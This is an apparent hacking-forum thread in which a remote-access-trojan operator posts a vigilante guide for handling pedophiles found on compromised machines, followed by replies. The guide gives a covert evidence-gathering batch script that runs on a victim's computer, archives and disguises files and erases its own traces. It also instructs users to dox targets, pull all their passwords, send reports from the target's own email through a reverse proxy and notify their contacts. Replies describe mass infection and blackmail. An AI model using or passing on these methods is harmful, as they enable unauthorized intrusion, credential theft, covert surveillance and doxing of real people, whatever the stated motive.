Thread: [\[A Hackers Guide To Handling Pedophiles \]](#)

Armada - August 14, 2015, 9:25 am

Written By: A?m^aDa

Introduction:

Spoiler [\(Click to View\)](#)

When it comes to the world, there is an old saying that stands true to this day. "It takes all kinds". This sadly applies to all walks of life, and unusual perverted fetishes. Anyone who has spent some time online knows very well there is a very large range of unusual sexual fetishes out there. But one almost universally agreed upon is Pedophilia and the exploitation of children is unacceptable, in any measure.

All of this being said, it is however a reality for Hackers that we are exposed to such individuals on a more frequent basis than any would ever really wish to deal with. Our activities and uncensored access to systems across the internet effectively make us the first line of defense against such individuals.

So what do we do when we encounter a Pedophiles system?

The First Line of Defense:

Spoiler [\(Click to View\)](#)

Hackers will typically encounter Pedophiles in 2 scenarios:

Scenario #1 - System Discovery

In this scenario, the Hacker has secured a client machine with their Binary and through whatever course of action, discover the end user is a Pedophile (File searching, Keylogging, Remote Desktop, etc.)

Scenario #2 - User Reveal

In the second scenario the end user reveals through conversation or discussion they are a Pedophile. This scenario is very typical in E-whoring or Public Chat situations.

Regardless of the situation that presents itself, the Hacker ultimately has 2 options. The choice to engage the Pedophile in an attempt to gather information and evidence to report to authorities for legal consequence and prosecution.

The choice to withdraw from the situation

Your choice should be based on your comfort level on handling a situation such as this. Those users who feel they may not be able to correctly handle a Pedophile are urged to contact someone else who is better suited to deal with these situations.

The Social Responsibility:

Spoiler [\(Click to View\)](#)

There is a sort of irony to this discussion when I talk about a Hackers Social Responsibility. A large

portion of the time when a Hacker will encounter a Pedophile, they themselves are involved in less than legitimate activities themselves. However, it is in this same degree called upon each and every Hacker, Cracker, Ratter, Exploiter, etc. That when we encounter these individuals, it is our responsibility to ensure they are reported to the correct authorities, and exposed in the most effective fashion possible.

It is at this point, I find it extremely important to discuss the emotional and psychological toll engaging Pedophiles can run against the Hacker.

Users who encounter Pedophiles, and pedophilia material while engaged in Hacker activities can and will go through a wide range of emotions. Much of this type of content is extremely disturbing and can among other emotions, cause users to become angered or enraged. I can only say this is a natural human reaction to this material, discussion and topic.

If the end user (Hacker) does in fact choose to engage the Pedophile in an attempt to seek legal justice against them, it is very important to not allow their personal emotions to affect their social responsibility. Obtaining the needed information and secure the correct evidence against the individual should become top priority over any other.

Anger and Rage Causes Errors, and Detection.

The Rules of Engagement:

Spoiler ([Click to View](#)) NEVER allow yourself to become emotionally invested in the situation.

- This can be harder than expected many times.

NEVER interfere with the Pedophiles activities, any manipulation or user intervention would give them indication of a system breach. Pedophiles are aware what they are doing is highly illegal and socially unacceptable thus leading them to be very paranoid individuals, usually taking elaborate steps to conceal their activities and saved media. Any indication of a Hacker being in their system would cause them to go in hiding and delete any evidence on their system which could lead their their criminal prosecution.

NEVER download suspected pedophilia media, content or files.

NEVER screen capture explicit content. This is considered replication by proxy.

ALWAYS document all original file paths to all media found on the system

ALWAYS always complete a full complete DOX against the individual by examining their document directories, desktop, secondary drives and backup files. This will provide us vital information on the persons true identity, and which legal authority it is best reported to.

Predator Logger:

Spoiler ([Click to View](#))

Predator Logger v.1.0

Predator Logger is a script I wrote to log important system information and secure vital evidence for submission to legal authorities.

The script is composed of a Single WinRAR SFX archive and 3 containing files.process.bat - the batch file which gathers and process the information to be gathered

files.lst - a listing of files to be collected for evidence

rar.exe - the command line version of winrar to archive all information in to password protected archives

PROCESS.BAT

Code @echo off

cls

systeminfo >> systeminfo.nfo

msinfo32 /nfo msinfo32.nfo

nslookup myip.opendns.com resolver1.opendns.com >> ipinfo.nfo

ipconfig >> ipinfo.nfo

dir >> filelist.nfo

rar a -inul -hppedophilesysteminfo systeminfo.rar *.nfo

rar a -inul -hplegal_evidence evidence.rar @files.lst

rename evidence.rar evidence.cab

del *.nfo /q

del *.exe /q

del *.bat /q

del *.lst /q

cls

end

FILES.LST

Code *.mp4

*.wmv

*.avi

*.webm

*.mkv

*.flv

*.vob

*.ogv

*.ogg

*.drc

*.mng

*.mov

*.asf

*.mpg

*.nsv

*.mp3

*.wav

*.amr

*.3pg

*.act

*.sln

*.wma

*.JPEG

*.jpg

*.gif

*.bmp

*.png

*.svg

Scripts Use:

Upload Predator.Logger.exe to directory containing pedophile media

Remotely Execute Predator.Logger.exe when the system is IDLE\Not in use

-The script produces a command prompt and other various dialogs which are not suppressed, it is vital to only execute this when the machine is IDLE and the remote user is not at the terminal.

Predator.Logger.exe will erase majority of its files, outputting 2 files.

systeminfo.rar - This file is a passworded archive file containing all vital and critical system

information for DOX purposes. - This file is safe to download for DOXing and logging and reporting purposes.

evidence.cab - This is a passworded WinRAR archive renamed to a .cab file, this file contains critical media files for evidence in legal prosecution. - DO NOT DOWNLOAD THIS FILE.

- This file is to be moved to a secure location within the system (Example: c:\windows\system32\)
Download systeminfo.rar and Move evidence.cab to a secure folder location on the remote system.
Ensure the media directory is left as originally found (remove any residual files from execution of the script)

[Download Predator Logger v.1.0](#)

Profiling and Reporting A Online Pedophile\Predator:

Spoiler ([Click to View](#))

Gather as much information on the individual as possible. (DOXing)

In this effort we want complete information on the individual in question, including Full name, address, social security number, phone number, work, relatives, friends, social media and personal life.

- Search Document folders, backup drives, desktop, pull all passwords from the system and check online social media and email accounts using reverse SOCKS proxy.

- Verify country of origin, regional authorities as well as country authorities.

Obtain a complete file listing of media which can be used as evidence. - Remember! Never download media to your local controlling machine under any circumstances.

Secure complete system information and pedophile media as evidence by upload and execution of Predator.Logger in media directory.

DOWNLOAD systeminfo.rar and DELETE from remote clients machine.

MOVE evidence.cab to a secure directory on the remote client (Example C:\windows\system32)

- Ensure to log exact file path to evidence.cab file

DELETE residual files from Predator Logger Script

Secure all chat logs or other evidence on remote host

Using Reverse SOCKS Proxy and obtained passwords report the users activities to local and international authorities accordingly. - Use of their e-mail account and connection is highly recommended.

Code <https://tips.fbi.gov/>

<http://www.ic3.gov/complaint/default.aspx>

<http://www.interpol.int/Crime-areas/Crimes-against-children/Crimes-against-children>

Report to as many authorities as possible for maximum exposure

Provide as much information as absolutely possible, including all DOXed information, IP# address information, file location and system information, and evidence.cab file location

Pedophiles try to place themselves in positions where they are close to children or minors to carry out their fantasies. This includes but not limited to Youth social clubs, Cubs\Scouts\Girl Guides, Youth Sports Teams, etc.

If it is discovered this is the case in your investigations it is also recommended to utilize their e-mail contacts to further notify all parents, contacts, relatives and co workers of their activities as well. - This single action can prevent a child from being victimized.

After you have completed your reporting to all authorities and contacts using Reverse SOCKS proxy, Completely UNINSTALL your Binary to avoid any detection or trace back to your origins.

Wrap Up:

Spoiler ([Click to View](#))

In this articles closing I would like to notate although this is a difficult topic to read and consider, it is important to understand that as Hackers who have such uncensored access to private machines there is a Social Responsibility we need to observe in removing such people from your global society. If as a end controller you end up in a situation involving such individuals you are always best advised to either seek more professional assistance, or remove your binary and self from the equation entirely.

Pedophiles run an already extremely high risk of being traced and arrested by authorities, it is as Hackers our responsibility to simply expedite the process by providing the authorities information they would otherwise be unable to legally obtain without search warrants.

Any involvement with Pedophiles should be taken with EXTREME CAUTION.
Every absolute possible security precaution should be taken to accomplish the designated task while maintaining the furthest distance from the target.

Remember - NEVER DOWNLOAD suspected pedophilia media.

v.1.0

Optimal - August 14, 2015, 9:33 am

Great info, i actually encountered one once while in a chat room and not knowing what to do i just blocked him.

beachkid - August 14, 2015, 11:08 am

i encounter alot of those people in facebook groups actually

Aur3xis - August 14, 2015, 12:39 pm

Well, will deffinitly come in handy.

Good guide!

josh-dmww - August 14, 2015, 2:42 pm

Good guide, and good advice!

Hope I'll never have to use it though

Strayta - August 14, 2015, 2:43 pm

Well done man! This is a very good guide

SOSA_ - August 14, 2015, 2:51 pm

Good guide OP, check the PM I sent you. BTW I repped you

hiatusvi - August 15, 2015, 3:09 am

hope this is a really nice guide !

fancynacy2015 - August 15, 2015, 10:10 am

great guide!! hopefully will help out a lot of people and put a lot of bad people away

Bo Burnham - August 16, 2015, 6:46 am

Loving the guide armodano!

Armada is actually my father and he knows the good shit.
RIP my asshole.

UglyMeister - August 16, 2015, 9:14 am

Good tutorial man, gonna save this just in case

Gruja - August 17, 2015, 9:16 am

Pretty good, man. I am sure it will be of use.

But there is one problem. When it comes to read the list file and take all data with those extensions, it will only search in that particular place where the script was executed. Is there an additional option where it will search whole computer or you need to execute it in both C: and D: drive?

Armada - August 17, 2015, 9:18 am

(Aug 17, 2015 09:16 AM)Gruja Wrote: [\[CITE\]](#) Pretty good, man. I am sure it will be of use.

But there is one problem. When it comes to read the list file and take all data with those extensions, it will only search in that particular place where the script was executed. Is there an additional option where it will search whole computer or you need to execute it in both C: and D: drive?

I just obtained a script for this, working on improving the Predator Logger scripting within the net couple days.

I wrote the Predator logger to be dropped in to the base directory of the pedophiles media content. I have noticed Most if not all pedophiles tend to store their cache in one single directory, not across their system.

Remember, they know what they are doing is highly illegal, so they dont want that material just floating all around their own system either. ?

But a updated version of Predator logger will be posted hopefully by end of the week after I get a chance to refine some scripting down.

Gruja - August 17, 2015, 9:29 am

Actually, it only scans files that are stored in the folder where script was executed not the entire C: or D: drive.

I am looking forward to seeing updated script.:D

Armada - August 17, 2015, 9:30 am

(Aug 17, 2015 09:29 AM)Gruja Wrote: [\[CITE\]](#) Actually, it only scans files that are stored in the folder where script was executed not the entire C: or D: drive.

I am looking forward to seeing updated script.:D

Yes, only the directory the script\exe is placed.

- Again designed to be uploaded to the base media directory which the hacker wishes to capture for evidence.

The updated script should address these issues of multiple directories etc.

TheWhiteHatter - August 17, 2015, 4:07 pm

Awesome, will come in handy!

Armada - January 4, 2016, 5:04 pm

I hate to do this but I find this important to bump.

WorstPlayer - January 4, 2016, 10:07 pm

Well writtten as always Armada! Thanks for taking your time to detail everything!

Great and handy guide.
Cheers!

SYNTAX_ - January 5, 2016, 12:54 am

This is great! I am a fan armada! Also, this is great info. It's amazing to me that even though there are a large group of sex junkies. It is widely agreed upon (like in the dark web) that pedophilia is wrong. And that's amazing

Great thread armada, I'm a follower of you.

Niko - January 5, 2016, 1:28 am

Amazing Guide, and an Amazing Read - As always.

Slipper - January 5, 2016, 4:02 am

Very nice guide, actually watched something about pedophiles on tv where a undercover person collected information about a pedophile and then reported him to the police and got arrested, really nice to see people doing stuff about these sick people.

Igor_Kaplunov - March 13, 2016, 3:48 pm

I have 16 pedophiles on my RAT . its scary . They just keep coming and the content they are downloading isnt even Children related . Messed up world and messed up people. I dont think I can go through all of this . I am sure I might make an error . So if anybody that has done this before PM me and I will show you the people and can send the clients over to you and you do all the work . The things I see haunt me in my sleep . I have seen a lot of things back in the day . but what I have witnessed just broke me inside .

Username is already taken - March 13, 2016, 11:23 pm

Interesting tutorial, high quality and detailed post.

Thanks for the exceptional contribution to the HF community.

SneakyPyro - March 13, 2016, 11:30 pm

This is a very good guide. Thank you.

Chernabog - March 14, 2016, 1:50 pm

We've all met these kind of people before, glad I've found something here as to how to deal with them accordingly.

insurance - March 14, 2016, 1:52 pm

or just blackmail the shit out of the pedophile for monies, I have done it in the past and 10/10 times the pedophile would rather give you monies then go to jail

Hexalogy - March 14, 2016, 1:58 pm

This is a great guide thank's armada!

Armada - March 14, 2016, 1:59 pm

(Mar 14, 2016 01:52 PM)Insurance Wrote: [CITE](#) or just blackmail the shit out of the pedophile for monies, I have done it in the past and 10/10 times the pedophile would rather give you monies then go to jail

As a father myself, I will say this would be the least ideal solution.

You MIGHT scare them out of ever going for the stuff again, but chances are you wont. Leaving vulnerable people still at risk.

I would rather see them land behind bars. I mean honestly, if the other criminals of our society would kill them while they are doing their time. That really should tell society what people really think of these people. There are 2 types of people you do NOT want to be in Prison, a Pedophile or a Cop.

The Sly - March 14, 2016, 2:01 pm

wow armada big respect, this is very well throughthought.

Yoshikage Kira - March 14, 2016, 2:14 pm

lol I wonder if anyone has actually been arrested from this.

GTH - March 16, 2016, 10:00 pm

One of the best, and most useful posts overall, that I have seen in quite some time. Thank you for sharing this.

?Xe - March 17, 2016, 12:08 am

Thanks OP, very informative and helpful. I love this guide, fuck these pedo's

s3lkies - March 18, 2016, 12:26 am

Nice Tut OP , hopefully this helps in getting the sick bastards put away !

Roytoy - March 18, 2016, 12:30 am

Nice and unique guide. Good job on this.

HitSweMan - April 1, 2016, 4:25 pm

Bumping since this is a very good tutorial!

Armada - April 1, 2016, 6:08 pm

To add to this I am always open on this topic for personal support.

These assholes are always tricky and take unique approaches at many turns.

I consider all of this a social responsibility, never hesitate to contact me directly for any support against catching a pedo.

Fuck them, right up the @\$\$\$. Nothing less than they would do.

Nico_Nico_Douga - April 1, 2016, 6:25 pm

This is very informal. Thank you very much!

zernkska - April 15, 2016, 2:40 am

Good guild. Need to catch those rats

MrNacho123 - April 15, 2016, 3:29 pm

Very HQ guide! Thanks for the advice Armada.

Thomaz000 - April 15, 2016, 3:35 pm

I found one of them in my rat the other day, a bit creepy to say the least.

I felt like doing something bad to him but the guy probably very sick

dunkey - April 16, 2016, 3:56 am

Nice guide very HQ good job

Ramsey - April 16, 2016, 4:03 am

My word!

You're incredible for making this tut!

I'm sure the ratting community will find this extremely useful.

santi12 - April 16, 2016, 4:35 am

thanks! hope it will help to catch some!

UniQ - April 17, 2016, 4:10 am

Very useful. If I were to stumble upon one i'd definitely lost to my emotions if I saw any material.
Thanks Armada!

Armada - April 17, 2016, 4:14 am

(Apr 17, 2016 04:10 AM)UniQ Wrote: [\[CITE\]](#) Very useful. If I were to stumble upon one i'd definitely lost to my emotions if I saw any material. Thanks Armada!

Keep calm and carry on.

Pedos cause a HUGE range of emotions. Its critical as the controller we keep a calm and relaxed head space.

Those pricks cause more damage than guns.

I say to keep calm as I am getting worked up typing this. Its hard, just thinking about it.

This is our responsibility, and our youth will thank us for it at the end of the day.?

Vitani - April 17, 2016, 4:18 am

This is a great guide. I read it before when it was posted, just read it again. Great work!

Ascendon - April 18, 2016, 12:40 pm

This is pure gold material.

I love your innovation and care for our society.

Thank you very much for this tutorial and the detail and effort you put into it.

ALLSAIL999 - April 18, 2016, 2:06 pm

great info i will sit on it later to read it in quiet

PONI Walker - April 19, 2016, 9:05 am

That's an amazing and very detailed post, thanks for sharing with us!

billou - May 12, 2016, 2:32 am

good guid thxxxxxxxxxxxxxxxxxx

Armada - June 1, 2016, 4:54 pm

Hate to do this, but bumping for some more awareness.

WizardShiz - June 4, 2016, 5:18 am

Even though this is an old guide I would like to say this was probably one of the most needed guides out there... People like that need to go to jail!

AngryShadowX - June 4, 2016, 6:44 am

Thanx for this, its a really good guide :)

klarion001 - June 4, 2016, 7:08 am

Thank you Armada, yet another HQ tut... love it.

AlirezaVF - June 4, 2016, 7:45 am

i love this guide
thank you

.HackII - June 4, 2016, 7:50 am

So is all of this legal? If so, I'll start now.

Armada - June 4, 2016, 8:25 am

(Jun 4, 2016 07:50 AM)Asanti Wrote: [\[CITE\]](#) So is all of this legal? If so, I'll start now.
I am the first person to admit this is a fringe grey area.
Not technically legal, but which of the evils needs to be expunged?

There at times, are exceptions.

SaiyaN_ - June 4, 2016, 8:44 am

Hahaha, what the fuck. Good guide!

Armada - June 4, 2016, 10:31 am

(Jun 4, 2016 08:44 AM)SaiyaN_ Wrote: [\[CITE\]](#) Hahaha, what the fuck. Good guide!
I dont understand the point to you posts???

Your either a multi or simply a mad boy.

Neither I deal with.

Hmelon - June 5, 2016, 12:53 pm

great job coding this, lets catch some pedophiles

pesky - June 19, 2016, 10:21 am

"Pedophiles are creepy as fuck."

I'm not sure how it's any better to spy on them. That's creepier if you ask me, but both are disturbing.

eric2221 - June 19, 2016, 11:17 am

i encounter alot of those people in facebook groups actually

bananenkot - June 20, 2016, 4:39 am

Good guide, and good advice!

amagos10 - June 20, 2016, 11:00 am

Download isn't working..

Great guide, btw. I have a few bots I'd like to try it out on. Can't wait for your to update the download.

seavan12 - July 7, 2016, 5:16 am

Vouch really good guide. Will use to fuck them up. Thank you :D

Jericho - July 16, 2016, 2:12 pm

One visit to teenchat with the numbers 14 in your name and 100% you will find a pedophile

nwraus - July 18, 2016, 1:33 am

great guide, not intending to go pedophile hunting but if i ever discover will come in handy :)

Shinzawai - July 19, 2016, 3:39 pm

hmmm thanks forr guide...

Minentaucher - July 20, 2016, 4:54 am

I just reported one at our local police station (per e-mail ^^). Thank you, some kids have been saved only because of you.

To all: If you see a pedophile, report him/her instantly, you never know when he's going to take his next victim/ first victim.

Armada - July 20, 2016, 8:18 am

(Jul 20, 2016 04:54 AM)Minentaucher Wrote: [\[CITE\]](#) I just reported one at our local police station (per e-mail ^^). Thank you, some kids have been saved only because of you.

To all: If you see a pedophile, report him/her instantly, you never know when he's going to take his next victim/ first victim.

A good first step.

However I would urge you look closer in to a specialized division to your law enforcent pertaining to child exploitation/abuse. These departments are much better equipped to handle these matters than say your local police precient.

I want to emphasis again the importance to not take matters in to ones own hands. Law enforcement is in place for a reason and it is our duty to allow them todo their due job on these matters.

Trust me on this, Pedophiles worst punishment is prison.

Even the other criminals hate them.

Saney - August 2, 2016, 12:46 pm

Thank you for this.

I don't know if you mentioned it (since my English is rubbish), but let's say I mass infect through an auto-pilot spreading method and find a guy that downloaded my infected file which is a pedophile. How can I report this to the authorities without showing that I have ratted him (which of course is illegal) and showing all of the evidence without the asking me how I got the information? Like, I am already doing illegal stuff when I have ratted them :/

Armada - August 2, 2016, 1:05 pm

(Aug 2, 2016 12:46 PM)Saney Wrote: [\[CITE\]](#) Thank you for this.

You have clearly missed the point of this article.

You are not to Pedo hunt as you so implied in your prior posting.

I do not support this and encourage you to hang your ambition up and allow others who are more experienced to handle these matters.

ZeroCoolAZ - *August 3, 2016, 2:10 pm*

Really useful information here. I'd +rep you, but I can't yet xD. Anywho, Thank you!
